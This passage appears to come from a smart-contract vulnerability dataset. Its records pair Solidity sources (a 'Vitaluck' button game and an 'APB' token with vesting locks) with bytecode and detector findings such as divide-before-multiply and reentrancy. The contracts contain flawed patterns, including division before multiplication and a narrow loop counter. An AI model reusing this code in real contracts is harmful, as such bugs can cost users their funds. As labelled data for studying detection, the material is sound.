0a01b0316815260200185858080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201829052509390945250506001600160401b0384168152600760209081526040909120835181546001600160a01b0319166001600160a01b039091161781558382015180519193506120179260018501929101906122e8565b5050604080516001600160a01b038816815290516001600160401b03841692507f29ff7ec46662ba30200783e0d6cbe17047c2ab7058785f9d441e8b21a88e25749181900360200190a2949350505050565b600260209081526000928352604080842090915290825290205460ff1681565b6008546000906001600160a01b0316156120a257600080fd5b600a54604080516323b872dd60e01b8152336004820152306024820152678ac7230489e80000604482015290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b15801561210357600080fd5b505af1158015612117573d6000803e3d6000fd5b505050506040513d602081101561212d57600080fd5b505161213857600080fd5b600880546001600160401b03600160a01b80830482166001018216810267ffffffffffffffff60a01b19909316929092179283905560405191909204909116907fe1c41d4ba86fb17ee8e9f88a333876ca22e0d2940c46a544405bb18a6b932a5c90600090a2600854600160a01b90046001600160401b03166000908152600160208190526040909120805490918491839160ff19909116908360058111156121dd57fe5b0217905550805474ffffffffffffffffffffffffffffffffffffffff001916336101008102919091178255426001808401919091556000828152600284016020526040808220805460ff19169093179092556008549151600160a01b9092046001600160401b0316917fc7442600edbdac0b51781946ea453c6ec64fba32dc76e7e711cbe79a15ec5fec9190a35050600854600160a01b90046001600160401b0316919050565b600080821161229257600080fd5b600082848161229d57fe5b049150505b92915050565b6000828201838110156122ba57600080fd5b9392505050565b6000826122d0575060006122a2565b828202828482816122dd57fe5b04146122ba57600080fd5b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061232957805160ff1916838001178555612356565b82800160010185558215612356579182015b8281111561235657825182559160200191906001019061233b565b5061236292915061241b565b5090565b604051806060016040528060006001600160a01b0316815260200160008152602001606081525090565b604051806060016040528060006001600160a01b0316815260200160608152602001606081525090565b82805482825590600052602060002090810192821561240f579160200282015b8281111561240f57825182546001600160a01b0319166001600160a01b039091161782556020909201916001909101906123da565b50612362929150612430565b5b80821115612362576000815560010161241c565b5b808211156123625780546001600160a01b031916815560010161243156fea2646970667358221220b49fb263510da7181a47d31601b0e38f0defe6562f0ca83ae88cce074fb07f7664736f6c63430007000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 1,638 |
0xb36a7cd3f5d3e09045d765b661af575e3b5af24a
|
pragma solidity ^0.4.24;
/*
_ _ _ _
| | | | | | | |
| | | | ___| | ___ ___ _ __ ___ ___ | |_ ___
| |/\| |/ _ | |/ __/ _ \| '_ ` _ \ / _ \ | __/ _ \
\ /\ | __| | (_| (_) | | | | | | __/ | || (_) |
\/ \/ \___|_|\___\___/|_| |_| |_|\___| \__\___/
$$\ $$\ $$\ $$\ $$\ $$\
$$ | $$ |\__| $$ | $$ | $$ |
$$ | $$ |$$\ $$$$$$\ $$$$$$\ $$ |$$\ $$\ $$$$$$$\ $$ | $$\
\$$\ $$ |$$ |\_$$ _| \____$$\ $$ |$$ | $$ |$$ _____|$$ | $$ |
\$$\$$ / $$ | $$ | $$$$$$$ |$$ |$$ | $$ |$$ / $$$$$$ /
\$$$ / $$ | $$ |$$\ $$ __$$ |$$ |$$ | $$ |$$ | $$ _$$<
\$ / $$ | \$$$$ |\$$$$$$$ |$$ |\$$$$$$ |\$$$$$$$\ $$ | \$$\
\_/ \__| \____/ \_______|\__| \______/ \_______|\__| \__|
This is the main contract for the Vitaluck button game.
You can access it here: https://vitaluck.com
*/
contract Vitaluck {
//
// Admin
//
address ownerAddress = 0x3dcd6f0d7860f93b8bb7d6dcb85346c814243d63;
address cfoAddress = 0x5b665218efCE2a15BD64Bd1dE50a27286f456863;
modifier onlyCeo() {
require (msg.sender == ownerAddress);
_;
}
//
// Events
//
event NewPress(address player, uint countPress, uint256 pricePaid, uint32 _timerEnd);
//
// Game
//
uint countPresses;
uint256 countInvestorDividends;
uint amountPlayed;
uint32 timerEnd; // The timestamp for the end after this time stamp, the winner can withdraw its reward
uint32 timerInterval = 21600; // We set the interval of 3h
address winningAddress;
uint256 buttonBasePrice = 20000000000000000; // This is the current price for a button press (this is updated every 100 presses)
uint256 buttonPriceStep = 2000000000000000;
//
// Mapping for the players
//
struct Player {
address playerAddress; // We save the address of the player
uint countVTL; // The count of VTL Tokens (should be the same as the count of presses)
}
Player[] players;
mapping (address => uint) public playersToId; // We map the player address to its id to make it easier to retrieve
//
// Core
//
// This function is called when a player sends ETH directly to the contract
function() public payable {
// We calculate the correct amount of presses
uint _countPress = msg.value / getButtonPrice();
// We call the function
Press(_countPress, 0);
}
// We use this function to initially fund the contract
function FundContract() public payable {
}
// This function is being called when a user presses the button on the website (or call it directly from the contract)
function Press(uint _countPresses, uint _affId) public payable {
// We verify that the _countPress value is not < 1
require(_countPresses >= 1);
// We double check that the players aren't trying to send small amount of ETH to press the button
require(msg.value >= buttonBasePrice);
// We verify that the game is not finished.
require(timerEnd > now);
// We verify that the value paid is correct.
uint256 _buttonPrice = getButtonPrice();
require(msg.value >= safeMultiply(_buttonPrice, _countPresses));
// Process the button press
timerEnd = uint32(now + timerInterval);
winningAddress = msg.sender;
// Transfer the commissions to affiliate, investor, pot and dev
uint256 TwoPercentCom = (msg.value / 100) * 2;
uint256 TenPercentCom = msg.value / 10;
uint256 FifteenPercentCom = (msg.value / 100) * 15;
// Commission #1. Affiliate
if(_affId > 0 && _affId < players.length) {
// If there is an affiliate we transfer his commission otherwise we keep the commission in the pot
players[_affId].playerAddress.transfer(TenPercentCom);
}
// Commission #2. Main investor
uint[] memory mainInvestors = GetMainInvestor();
uint mainInvestor = mainInvestors[0];
players[mainInvestor].playerAddress.transfer(FifteenPercentCom);
countInvestorDividends = countInvestorDividends + FifteenPercentCom;
// Commission #3. 2 to 10 main investors
// We loop through all of the top 10 investors and send them their commission
for(uint i = 1; i < mainInvestors.length; i++) {
if(mainInvestors[i] != 0) {
uint _investorId = mainInvestors[i];
players[_investorId].playerAddress.transfer(TwoPercentCom);
countInvestorDividends = countInvestorDividends + TwoPercentCom;
}
}
// Commission #4. Dev
cfoAddress.transfer(FifteenPercentCom);
// Update or create the player and issue the VTL Tokens
if(playersToId[msg.sender] > 0) {
// Player exists, update data
players[playersToId[msg.sender]].countVTL = players[playersToId[msg.sender]].countVTL + _countPresses;
} else {
// Player doesn't exist create it
uint playerId = players.push(Player(msg.sender, _countPresses)) - 1;
playersToId[msg.sender] = playerId;
}
// Send event
emit NewPress(msg.sender, _countPresses, msg.value, timerEnd);
// Increment the total count of presses
countPresses = countPresses + _countPresses;
amountPlayed = amountPlayed + msg.value;
}
// This function can be called only by the winner once the timer has ended
function withdrawReward() public {
// We verify that the game has ended and that the address asking for the withdraw is the winning address
require(timerEnd < now);
require(winningAddress == msg.sender);
// Send the balance to the winning player
winningAddress.transfer(address(this).balance);
}
// This function returns the details for the players by id (instead of by address)
function GetPlayer(uint _id) public view returns(address, uint) {
return(players[_id].playerAddress, players[_id].countVTL);
}
// Return the player id and the count of VTL for the connected player
function GetPlayerDetails(address _address) public view returns(uint, uint) {
uint _playerId = playersToId[_address];
uint _countVTL = 0;
if(_playerId > 0) {
_countVTL = players[_playerId].countVTL;
}
return(_playerId, _countVTL);
}
// We loop through all of the players to get the main investor (the one with the largest amount of VTL Token)
function GetMainInvestor() public view returns(uint[]) {
uint depth = 10;
bool[] memory _checkPlayerInRanking = new bool[] (players.length);
uint[] memory curWinningVTLAmount = new uint[] (depth);
uint[] memory curWinningPlayers = new uint[] (depth);
// Loop through the depth to find the player for each rank
for(uint j = 0; j < depth; j++) {
// We reset some value
curWinningVTLAmount[j] = 0;
// We loop through all of the players
for (uint8 i = 0; i < players.length; i++) {
// Iterate through players and insert the current best at the correct position
if(players[i].countVTL > curWinningVTLAmount[j] && _checkPlayerInRanking[i] != true) {
curWinningPlayers[j] = i;
curWinningVTLAmount[j] = players[i].countVTL;
}
}
// We record that this player is in the ranking to make sure we don't integrate it multiple times in the ranking
_checkPlayerInRanking[curWinningPlayers[j]] = true;
}
// We return the winning player
return(curWinningPlayers);
}
// This function returns the current important stats of the game such as the timer, current balance and current winner, the current press prices...
function GetCurrentNumbers() public view returns(uint, uint256, address, uint, uint256, uint256, uint256) {
return(timerEnd, address(this).balance, winningAddress, countPresses, amountPlayed, getButtonPrice(), countInvestorDividends);
}
// This is the initial function called when we create the contract
constructor() public onlyCeo {
timerEnd = uint32(now + timerInterval);
winningAddress = ownerAddress;
// We create the initial player to avoid any bugs
uint playerId = players.push(Player(0x0, 0)) - 1;
playersToId[msg.sender] = playerId;
}
// This function returns the current price of the button according to the amount pressed.
function getButtonPrice() public view returns(uint256) {
// Get price multiplier according to the amount of presses
uint _multiplier = 0;
if(countPresses > 100) {
_multiplier = buttonPriceStep * (countPresses / 100);
}
// Calculate final button price
uint256 _buttonPrice = buttonBasePrice + _multiplier;
return(_buttonPrice);
}
//
// Safe Math
//
// Guards against integer overflows.
function safeMultiply(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
} else {
uint256 c = a * b;
assert(c / a == b);
return c;
}
}
}
|
0x6080604052600436106100985763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416633b9c67e181146100bd5780635d200f84146100cd5780636ce768dd14610108578063884ca7b11461016d5780638ed8067e14610194578063b3c49c771461019c578063bb4d7363146101d6578063c885bc58146101f7578063da2a97d81461020c575b60006100a2610261565b348115156100ac57fe5b0490506100ba81600061028c565b50005b6100cb60043560243561028c565b005b3480156100d957600080fd5b506100e56004356106df565b60408051600160a060020a03909316835260208301919091528051918290030190f35b34801561011457600080fd5b5061011d610737565b60408051602080825283518183015283519192839290830191858101910280838360005b83811015610159578181015183820152602001610141565b505050509050019250505060405180910390f35b34801561017957600080fd5b50610182610261565b60408051918252519081900360200190f35b6100cb610922565b3480156101a857600080fd5b506101bd600160a060020a0360043516610924565b6040805192835260208301919091528051918290030190f35b3480156101e257600080fd5b50610182600160a060020a0360043516610975565b34801561020357600080fd5b506100cb610987565b34801561021857600080fd5b50610221610a0b565b604080519788526020880196909652600160a060020a03909416868601526060860192909252608085015260a084015260c0830152519081900360e00190f35b60008060008091506064600254111561028257600254606490046007540291505b5060065401919050565b600080808060608180808060018b10156102a557600080fd5b6006543410156102b457600080fd5b6005544263ffffffff909116116102ca57600080fd5b6102d2610261565b98506102de898c610a6d565b3410156102ea57600080fd5b6005805463ffffffff19811664010000000090910463ffffffff908116420116177fffffffff0000000000000000000000000000000000000000ffffffffffffffff16336801000000000000000002179055606434046002029750600a3404965060643404600f02955060008a11801561036557506008548a105b156103bf57600880548b90811061037857fe5b60009182526020822060029091020154604051600160a060020a039091169189156108fc02918a91818181858888f193505050501580156103bd573d6000803e3d6000fd5b505b6103c7610737565b94508460008151811015156103d857fe5b9060200190602002015193506008848154811015156103f357fe5b60009182526020822060029091020154604051600160a060020a039091169188156108fc02918991818181858888f19350505050158015610438573d6000803e3d6000fd5b506003805487019055600192505b84518310156104ef57848381518110151561045d57fe5b60209081029091010151156104e457848381518110151561047a57fe5b90602001906020020151915060088281548110151561049557fe5b60009182526020822060029091020154604051600160a060020a03909116918a156108fc02918b91818181858888f193505050501580156104da573d6000803e3d6000fd5b5060038054890190555b600190920191610446565b600154604051600160a060020a039091169087156108fc029088906000818181858888f19350505050158015610529573d6000803e3d6000fd5b503360009081526009602052604081205411156105c05733600090815260096020526040902054600880548d9290811061055f57fe5b9060005260206000209060020201600101540160086009600033600160a060020a0316600160a060020a03168152602001908152602001600020548154811015156105a657fe5b906000526020600020906002020160010181905550610673565b506040805180820182523380825260208083018e815260088054600181018255600091825294517ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee360028702908101805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039093169290921790915591517ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee49092019190915591825260099052919091208190555b60055460408051338152602081018e9052348183015263ffffffff9092166060830152517f6342f1045b6a14b975e6a6f0d2ab8009735bac57f262c6653db2814477656e569181900360800190a150506002805490990190985550506004805434019055505050505050565b6000806008838154811015156106f157fe5b600091825260209091206002909102015460088054600160a060020a03909216918590811061071c57fe5b90600052602060002090600202016001015491509150915091565b606060006060806060600080600a9550600880549050604051908082528060200260200182016040528015610776578160200160208202803883390190505b509450856040519080825280602002602001820160405280156107a3578160200160208202803883390190505b509350856040519080825280602002602001820160405280156107d0578160200160208202803883390190505b509250600091505b8582101561091757600084838151811015156107f057fe5b602090810290910101525060005b60085460ff821610156108d857838281518110151561081957fe5b9060200190602002015160088260ff1681548110151561083557fe5b9060005260206000209060020201600101541180156108735750848160ff1681518110151561086057fe5b9060200190602002015115156001151514155b156108d0578060ff16838381518110151561088a57fe5b602090810290910101526008805460ff83169081106108a557fe5b90600052602060002090600202016001015484838151811015156108c557fe5b602090810290910101525b6001016107fe565b60018584848151811015156108e957fe5b60209081029091010151815181106108fd57fe5b9115156020928302909101909101526001909101906107d8565b509095945050505050565b565b600160a060020a0381166000908152600960205260408120548190818082111561096b57600880548390811061095657fe5b90600052602060002090600202016001015490505b9094909350915050565b60096020526000908152604090205481565b6005544263ffffffff9091161061099d57600080fd5b600554680100000000000000009004600160a060020a031633146109c057600080fd5b600554604051600160a060020a03680100000000000000009092049190911690303180156108fc02916000818181858888f19350505050158015610a08573d6000803e3d6000fd5b50565b60055460025460045460009283928392839283928392839263ffffffff81169230319268010000000000000000909204600160a060020a031691610a4d610261565b60035463ffffffff9096169d949c50929a50909850965094509092509050565b600080831515610a805760009150610a9c565b50828202828482811515610a9057fe5b0414610a9857fe5b8091505b50929150505600a165627a7a723058209b4fc33a387ae594937f30e07e17a7f90401b215803dc10c69e353e112dc7a3c0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 1,639 |
0x219fa49440c6c7d9f21c0f2c87d638b35382ab5a
|
pragma solidity ^0.4.23;
library SafeMathLib {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract DateTimeLib {
struct _DateTime {
uint16 year;
uint8 month;
uint8 day;
uint8 hour;
uint8 minute;
uint8 second;
uint8 weekday;
}
uint constant DAY_IN_SECONDS = 86400;
uint constant YEAR_IN_SECONDS = 31536000;
uint constant LEAP_YEAR_IN_SECONDS = 31622400;
uint constant HOUR_IN_SECONDS = 3600;
uint constant MINUTE_IN_SECONDS = 60;
uint16 constant ORIGIN_YEAR = 1970;
function isLeapYear(uint16 year) internal pure returns (bool) {
if (year % 4 != 0) {
return false;
}
if (year % 100 != 0) {
return true;
}
if (year % 400 != 0) {
return false;
}
return true;
}
function leapYearsBefore(uint year) internal pure returns (uint) {
year -= 1;
return year / 4 - year / 100 + year / 400;
}
function getDaysInMonth(uint8 month, uint16 year) internal pure returns (uint8) {
if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {
return 31;
}
else if (month == 4 || month == 6 || month == 9 || month == 11) {
return 30;
}
else if (isLeapYear(year)) {
return 29;
}
else {
return 28;
}
}
function parseTimestamp(uint timestamp) internal pure returns (_DateTime dt) {
uint secondsAccountedFor = 0;
uint buf;
uint8 i;
dt.year = getYear(timestamp);
buf = leapYearsBefore(dt.year) - leapYearsBefore(ORIGIN_YEAR);
secondsAccountedFor += LEAP_YEAR_IN_SECONDS * buf;
secondsAccountedFor += YEAR_IN_SECONDS * (dt.year - ORIGIN_YEAR - buf);
uint secondsInMonth;
for (i = 1; i <= 12; i++) {
secondsInMonth = DAY_IN_SECONDS * getDaysInMonth(i, dt.year);
if (secondsInMonth + secondsAccountedFor > timestamp) {
dt.month = i;
break;
}
secondsAccountedFor += secondsInMonth;
}
for (i = 1; i <= getDaysInMonth(dt.month, dt.year); i++) {
if (DAY_IN_SECONDS + secondsAccountedFor > timestamp) {
dt.day = i;
break;
}
secondsAccountedFor += DAY_IN_SECONDS;
}
dt.hour = getHour(timestamp);
dt.minute = getMinute(timestamp);
dt.second = getSecond(timestamp);
dt.weekday = getWeekday(timestamp);
}
function getYear(uint timestamp) internal pure returns (uint16) {
uint secondsAccountedFor = 0;
uint16 year;
uint numLeapYears;
year = uint16(ORIGIN_YEAR + timestamp / YEAR_IN_SECONDS);
numLeapYears = leapYearsBefore(year) - leapYearsBefore(ORIGIN_YEAR);
secondsAccountedFor += LEAP_YEAR_IN_SECONDS * numLeapYears;
secondsAccountedFor += YEAR_IN_SECONDS * (year - ORIGIN_YEAR - numLeapYears);
while (secondsAccountedFor > timestamp) {
if (isLeapYear(uint16(year - 1))) {
secondsAccountedFor -= LEAP_YEAR_IN_SECONDS;
}
else {
secondsAccountedFor -= YEAR_IN_SECONDS;
}
year -= 1;
}
return year;
}
function getMonth(uint timestamp) internal pure returns (uint8) {
return parseTimestamp(timestamp).month;
}
function getDay(uint timestamp) internal pure returns (uint8) {
return parseTimestamp(timestamp).day;
}
function getHour(uint timestamp) internal pure returns (uint8) {
return uint8((timestamp / 60 / 60) % 24);
}
function getMinute(uint timestamp) internal pure returns (uint8) {
return uint8((timestamp / 60) % 60);
}
function getSecond(uint timestamp) internal pure returns (uint8) {
return uint8(timestamp % 60);
}
function getWeekday(uint timestamp) internal pure returns (uint8) {
return uint8((timestamp / DAY_IN_SECONDS + 4) % 7);
}
function toTimestamp(uint16 year, uint8 month, uint8 day) internal pure returns (uint timestamp) {
return toTimestamp(year, month, day, 0, 0, 0);
}
function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour) internal pure returns (uint timestamp) {
return toTimestamp(year, month, day, hour, 0, 0);
}
function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute) internal pure returns (uint timestamp) {
return toTimestamp(year, month, day, hour, minute, 0);
}
function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute, uint8 second) internal pure returns (uint timestamp) {
uint16 i;
for (i = ORIGIN_YEAR; i < year; i++) {
if (isLeapYear(i)) {
timestamp += LEAP_YEAR_IN_SECONDS;
}
else {
timestamp += YEAR_IN_SECONDS;
}
}
uint8[12] memory monthDayCounts;
monthDayCounts[0] = 31;
if (isLeapYear(year)) {
monthDayCounts[1] = 29;
}
else {
monthDayCounts[1] = 28;
}
monthDayCounts[2] = 31;
monthDayCounts[3] = 30;
monthDayCounts[4] = 31;
monthDayCounts[5] = 30;
monthDayCounts[6] = 31;
monthDayCounts[7] = 31;
monthDayCounts[8] = 30;
monthDayCounts[9] = 31;
monthDayCounts[10] = 30;
monthDayCounts[11] = 31;
for (i = 1; i < month; i++) {
timestamp += DAY_IN_SECONDS * monthDayCounts[i - 1];
}
timestamp += DAY_IN_SECONDS * (day - 1);
timestamp += HOUR_IN_SECONDS * (hour);
timestamp += MINUTE_IN_SECONDS * (minute);
timestamp += second;
return timestamp;
}
}
interface IERC20 {
function totalSupply() external constant returns (uint256);
function balanceOf(address _owner) external constant returns (uint256 balance);
function transfer(address _to, uint256 _value) external returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
function allowance(address _owner, address _spender) external constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address _spender, uint256 _value);
}
contract StandardToken is IERC20,DateTimeLib {
using SafeMathLib for uint256;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
string public constant symbol = "APB";
string public constant name = "AmpereX Bank";
uint _totalSupply = 10000000000 * 10 ** 6;
uint8 public constant decimals = 6;
function totalSupply() external constant returns (uint256) {
return _totalSupply;
}
function balanceOf(address _owner) external constant returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns (bool success) {
return transferInternal(msg.sender, _to, _value);
}
function transferInternal(address _from, address _to, uint256 _value) internal returns (bool success) {
require(_value > 0 && balances[_from] >= _value);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value > 0 && allowed[_from][msg.sender] >= _value && balances[_from] >= _value);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract LockableToken is StandardToken {
address internal developerReservedAddress = 0x80a1B223b944A86e517349CBB414965bC501d104;
uint[8] internal developerReservedUnlockTimes;
uint256[8] internal developerReservedBalanceLimits;
function getDeveloperReservedBalanceLimit() internal returns (uint256 balanceLimit) {
uint time = now;
for (uint index = 0; index < developerReservedUnlockTimes.length; index++) {
if (developerReservedUnlockTimes[index] == 0x0) {
continue;
}
if (time > developerReservedUnlockTimes[index]) {
developerReservedUnlockTimes[index] = 0x0;
} else {
return developerReservedBalanceLimits[index];
}
}
return 0;
}
function transfer(address _to, uint256 _value) public returns (bool success) {
return transferInternal(msg.sender, _to, _value);
}
function transferInternal(address _from, address _to, uint256 _value) internal returns (bool success) {
require(_from != 0x0 && _to != 0x0 && _value > 0x0);
if (_from == developerReservedAddress) {
uint256 balanceLimit = getDeveloperReservedBalanceLimit();
require(balances[_from].sub(balanceLimit) >= _value);
}
return super.transferInternal(_from, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_from != 0x0 && _to != 0x0 && _value > 0x0);
if (_from == developerReservedAddress) {
uint256 balanceLimit = getDeveloperReservedBalanceLimit();
require(balances[_from].sub(balanceLimit) >= _value);
}
return super.transferFrom(_from, _to, _value);
}
event UnlockTimeChanged(uint index, uint unlockTime, uint newUnlockTime);
event LockInfo(address indexed publicOfferingAddress, uint index, uint unlockTime, uint256 balanceLimit);
}
contract TradeableToken is LockableToken {
address internal publicOfferingAddress = 0xdC23333Acb4dAAd88fcF66D2807DB7c8eCDFa6dc;
uint256 public exchangeRate = 100000;
function buy(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != 0x0);
require(publicOfferingAddress != 0x0);
require(exchangeRate > 0x0);
require(_weiAmount > 0x0);
uint256 exchangeToken = _weiAmount.mul(exchangeRate);
exchangeToken = exchangeToken.div(1 * 10 ** 12);
publicOfferingAddress.transfer(_weiAmount);
super.transferInternal(publicOfferingAddress, _beneficiary, exchangeToken);
}
event ExchangeRateChanged(uint256 oldExchangeRate,uint256 newExchangeRate);
}
contract OwnableToken is TradeableToken {
address internal owner = 0x59923219FEC7dd1Bfc4C14076F4a216b90f3AEdC;
mapping(address => uint) administrators;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyAdministrator() {
require(msg.sender == owner || administrators[msg.sender] > 0x0);
_;
}
function transferOwnership(address _newOwner) onlyOwner public {
require(_newOwner != address(0));
owner = _newOwner;
emit OwnershipTransferred(owner, _newOwner);
}
function addAdministrator(address _adminAddress) onlyOwner public {
require(_adminAddress != address(0));
require(administrators[_adminAddress] <= 0x0);
administrators[_adminAddress] = 0x1;
emit AddAdministrator(_adminAddress);
}
function removeAdministrator(address _adminAddress) onlyOwner public {
require(_adminAddress != address(0));
require(administrators[_adminAddress] > 0x0);
administrators[_adminAddress] = 0x0;
emit RemoveAdministrator(_adminAddress);
}
function setExchangeRate(uint256 _exchangeRate) public onlyAdministrator returns (bool success) {
require(_exchangeRate > 0x0);
uint256 oldExchangeRate = exchangeRate;
exchangeRate = _exchangeRate;
emit ExchangeRateChanged(oldExchangeRate, exchangeRate);
return true;
}
function changeUnlockTime(uint _index, uint _unlockTime) public onlyAdministrator returns (bool success) {
require(_index >= 0x0 && _index < developerReservedUnlockTimes.length && _unlockTime > 0x0);
if(_index > 0x0) {
uint beforeUnlockTime = developerReservedUnlockTimes[_index - 1];
require(beforeUnlockTime == 0x0 || beforeUnlockTime < _unlockTime);
}
if(_index < developerReservedUnlockTimes.length - 1) {
uint afterUnlockTime = developerReservedUnlockTimes[_index + 1];
require(afterUnlockTime == 0x0 || _unlockTime < afterUnlockTime);
}
uint oldUnlockTime = developerReservedUnlockTimes[_index];
developerReservedUnlockTimes[_index] = _unlockTime;
emit UnlockTimeChanged(_index,oldUnlockTime,_unlockTime);
return true;
}
function getDeveloperReservedLockInfo(uint _index) public onlyAdministrator returns (uint, uint256) {
require(_index >= 0x0 && _index < developerReservedUnlockTimes.length && _index < developerReservedBalanceLimits.length);
emit LockInfo(developerReservedAddress,_index,developerReservedUnlockTimes[_index],developerReservedBalanceLimits[_index]);
return (developerReservedUnlockTimes[_index], developerReservedBalanceLimits[_index]);
}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event AddAdministrator(address indexed adminAddress);
event RemoveAdministrator(address indexed adminAddress);
}
contract APB is OwnableToken {
function APB() public {
balances[owner] = 5000000000 * 10 ** 6;
balances[publicOfferingAddress] = 3000000000 * 10 ** 6;
uint256 developerReservedBalance = 2000000000 * 10 ** 6;
balances[developerReservedAddress] = developerReservedBalance;
developerReservedUnlockTimes =
[
DateTimeLib.toTimestamp(2018, 6, 1),
DateTimeLib.toTimestamp(2018, 9, 1),
DateTimeLib.toTimestamp(2018, 12, 1),
DateTimeLib.toTimestamp(2019, 3, 1),
DateTimeLib.toTimestamp(2019, 6, 1),
DateTimeLib.toTimestamp(2019, 9, 1),
DateTimeLib.toTimestamp(2019, 12, 1),
DateTimeLib.toTimestamp(2020, 3, 1)
];
developerReservedBalanceLimits =
[
developerReservedBalance,
developerReservedBalance - (developerReservedBalance / 8) * 1,
developerReservedBalance - (developerReservedBalance / 8) * 2,
developerReservedBalance - (developerReservedBalance / 8) * 3,
developerReservedBalance - (developerReservedBalance / 8) * 4,
developerReservedBalance - (developerReservedBalance / 8) * 5,
developerReservedBalance - (developerReservedBalance / 8) * 6,
developerReservedBalance - (developerReservedBalance / 8) * 7
];
}
function() public payable {
buy(msg.sender, msg.value);
}
}
|
0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100f2578063095ea7b31461018257806318160ddd146101e757806323b872dd14610212578063313ce567146102975780633ba0b9a9146102c857806368fa8134146102f357806370a082311461033657806395d89b411461038d578063a9059cbb1461041d578063aad7104014610482578063c9991176146104d1578063db068e0e14610514578063dd62ed3e14610559578063f2fde38b146105d0578063f6988b7914610613575b6100f0333461065b565b005b3480156100fe57600080fd5b506101076107b7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014757808201518184015260208101905061012c565b50505050905090810190601f1680156101745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018e57600080fd5b506101cd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f0565b604051808215151515815260200191505060405180910390f35b3480156101f357600080fd5b506101fc6108ff565b6040518082815260200191505060405180910390f35b34801561021e57600080fd5b5061027d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b3480156102a357600080fd5b506102ac610a36565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102d457600080fd5b506102dd610a3b565b6040518082815260200191505060405180910390f35b3480156102ff57600080fd5b50610334600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a41565b005b34801561034257600080fd5b50610377600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb2565b6040518082815260200191505060405180910390f35b34801561039957600080fd5b506103a2610bfa565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103e25780820151818401526020810190506103c7565b50505050905090810190601f16801561040f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561042957600080fd5b50610468600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c33565b604051808215151515815260200191505060405180910390f35b34801561048e57600080fd5b506104b76004803603810190808035906020019092919080359060200190929190505050610c48565b604051808215151515815260200191505060405180910390f35b3480156104dd57600080fd5b50610512600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e0d565b005b34801561052057600080fd5b5061053f60048036038101908080359060200190929190505050610f7f565b604051808215151515815260200191505060405180910390f35b34801561056557600080fd5b506105ba600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061108e565b6040518082815260200191505060405180910390f35b3480156105dc57600080fd5b50610611600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611115565b005b34801561061f57600080fd5b5061063e6004803603810190808035906020019092919050505061126d565b604051808381526020018281526020019250505060405180910390f35b6000808373ffffffffffffffffffffffffffffffffffffffff161415151561068257600080fd5b6000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515156106ca57600080fd5b60006015541115156106db57600080fd5b6000821115156106ea57600080fd5b6106ff6015548361140990919063ffffffff16565b905061071964e8d